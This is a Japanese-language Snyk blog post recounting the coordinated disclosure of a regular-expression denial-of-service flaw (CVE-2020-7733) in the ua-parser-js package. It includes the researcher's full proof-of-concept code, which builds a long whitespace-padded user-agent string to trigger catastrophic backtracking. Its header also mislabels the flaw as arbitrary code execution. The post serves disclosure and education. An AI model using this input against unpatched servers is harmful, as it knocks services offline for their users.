Skip to main content

UAParser.jsにおける正規表現サービス拒否(REDoS)

Blog illustrations vul profile feature

2020年10月26日

0 分で読めます

Snyk Monthly Vulnerability Profileへようこそ。このシリーズでは、SnykがSecurity Research Teamによって発見された、または報告を受けた脆弱性を振り返ります。毎月、過去に発見された注目すべき脆弱性を1つ選び、その発見、調査、開示の経緯を紹介します。オープンソースコミュニティ全体で脆弱性の特定と修正に取り組む研究者、開発者、ユーザーにスポットを当てます。

今月は、人気のUAParser JavaScriptパッケージで発見された正規表現サービス拒否(REDoS)の脆弱性を取り上げます。


脆弱性:ua-parser-jsにおける任意コード実行割り当てられたCVE: CVE-2020-7733Snykアナリスト:Asaf Biton発見者:Yeting Li

Snyk Researchチームは、第三者の研究者から報告を受け、人気のUAParser JavaScriptパッケージにおける正規表現サービス拒否(REDoS)の脆弱性を調査し、開示しました。

研究者が脆弱性をより簡単かつ効果的に開示できるよう支援する取り組みの一環として、チームは脆弱性を報告する研究者と連携しています。報告された問題について、再現可能かどうか、パッケージの利用状況に照らして実際にセキュリティリスクとなるかどうかを調査し、最終的には、その脆弱性がオープンソースコミュニティにもたらすリスクの全容を把握します。

UAParserパッケージのREDoS脆弱性は、第三者の研究者であるYeting LiからSnykに報告されました。そこで、脆弱性の詳細や発見の経緯、そして責任ある開示と最終的な修正を確実にするために、調査チームが研究者およびパッケージのメンテナーとどのように連携したのかを詳しく見ていきましょう。

REDoS脆弱性の詳細を掘り下げる

UAParserは、クライアント側とサーバー側の両方で利用されるJavaScriptのユーザーエージェント解析パッケージです。Snyk Advisorによると、UAParserパッケージは600万件以上利用されており、非常に人気があります。今回発見・開示されたREDoS脆弱性は、Xiaomi RedmiスマートフォンおよびMi Padタブレットのブラウザーを識別するために定義された正規表現に関するものでした。

Li氏は概念実証(PoC)で、ユーザーエージェントに大量の空白文字(同氏のケースでは5,000文字)と感嘆符を追加することで、攻撃者が「壊滅的なバックトラッキング」と呼ばれる状態を引き起こせることを示しました。この状態では、文字列を正規表現で検査する処理に通常より指数関数的に長い時間がかかり、リソースが占有されたり、正規表現エンジンが完全にクラッシュしたりする可能性があります。サーバー側のNode.jsアプリケーションで正規表現を処理する際にこの攻撃を受けると、サーバーが停止したり、他のユーザーリクエストに応答できなくなったりする恐れがあります。PoCの全容は以下をご覧ください。

var blank = " ";
for (let i = 1; i < 5000; i++) {
blank = blank + " ";
}

str_mi = "android1mipad" + blank + "!";
str_mi = str_mi + +blank + "!";
mi = /android.+(mi[s-_]*(?:pad)(?:[s_]*[ws]+))s+build/i;

var count_mi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
mi.test(str_mi);
var len = Date.now() - time;
count_mi = count_mi + len;
console.log("mi:" + blank.length + ": " + len)
}
console.log(count_mi / 10);

str_redmi = "android1redminote" + blank + "!";
redmi = /android.+(redmi[s-_]*(?:note)?(?:[s_]*[ws]+))s+build/i;
var count_redmi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
redmi.test(str_redmi);
var len = Date.now() - time;
count_redmi = count_redmi + len;
console.log("redmi:" + blank.length + ": " + len)
}
console.log(count_redmi / 10);

REDoS脆弱性や壊滅的なバックトラッキングが発生する仕組み、悪用方法について詳しくは、こちらのブログ記事をご覧ください:こちら。

REDoS脆弱性の研究

Yeting Li氏は、中国科学院ソフトウェア研究所(ISCAS)のコンピューターサイエンス研究室に所属する博士課程の研究者です。博士号取得に向けた現在の研究では、REDoS攻撃に対して脆弱な正規表現の検出を自動化する手法に取り組んでいます。この研究の一環として、オープンソースパッケージから脆弱性を探し出すアルゴリズムを開発しました。

Snyk Researchチームは、過去1年間にわたり、数多くの脆弱性開示に関してLi氏と協力してきました。研究者とSnykチームが協力し、プロセスをできる限り効率化してきた取り組みです。SnykはLi氏と連携し、報告を迅速に処理できるよう、開示内容を作成する際に従う明確な基準を提示しました。Snykにとって、1人の研究者からこれほど多くの報告を受けるのは特殊な状況でした。双方の作業を簡素化するため、情報を円滑にやり取りできるよう、非公開のGitHubリポジトリを用意しました。

2020年9月9日、Li氏はUAParserパッケージで発見したREDoS脆弱性の報告とPoCをアップロードしました。Snyk ResearchチームのAsaf Bitonが調査を担当しました。Asafは提供されたPoCに簡単な修正を加えて検証し、脆弱性が実際に再現可能であり、パッケージの利用状況においてリスクとなることを確認しました。1時間も経たないうちに、Asafはパッケージのメンテナーにメールを送り、脆弱性を通知するとともに、CVEを割り当てるための予約許可を求めました。

メンテナーは24時間以内に返信し、数日以内に修正を公開する予定であり、修正の公開後にCVEを公開することにも同意しました。9月12日、最初の開示から72時間も経たないうちに、パッケージのメンテナーはGitHubリポジトリに修正をコミットし、新しいバージョンが利用可能になったことをSnykに通知しました。これを受け、SnykはCVEデータベースにCVE-2020-7733を公開し、Snyk Vulnerability DatabaseにSNYK-JS-UAPARSERJS-610226というSnyk IDで詳細なレポートを公開しました。

src/u-parser.js内の正規表現の修正を示すコード差分。追加行と削除行がハイライトされています

振り返って

脆弱性がSnykデータベースに公開された後、Snykが監視しているパッケージのうち、脆弱なバージョンを使用しているものが約21,000件見つかりました。研究者、パッケージのメンテナー、Snyk Researchチームが力を合わせた結果、Snykのシステム上でこれらのパッケージを担当する開発者に加え、Snykエコシステムをまだ利用していない数多くの開発者にも問題を通知し、コードを簡単に修正できるようになりました。

これは、開発者がオープンソースソフトウェアを安全に利用できるようにするというSnykの取り組みが、Snykのツールの枠を超えていることを示す素晴らしい例です。Snyk Researchチームは、独自の調査に加え、セキュリティおよびオープンソースコミュニティの研究者と連携しながら、脆弱性の特定と開示に取り組み続けています。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップで、CTFチャレンジの解き方を学びましょう。

カテゴリー:

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

脆弱性のバックログはもはや技術的負債ではなく、攻撃対象領域です

増え続ける脆弱性のバックログは、単なる技術的負債ではありません。攻撃対象領域そのものです。古いリスクの前提、攻撃の自動化、そして連鎖する検出結果によって、なぜ新たなアプローチが求められているのかを解説します。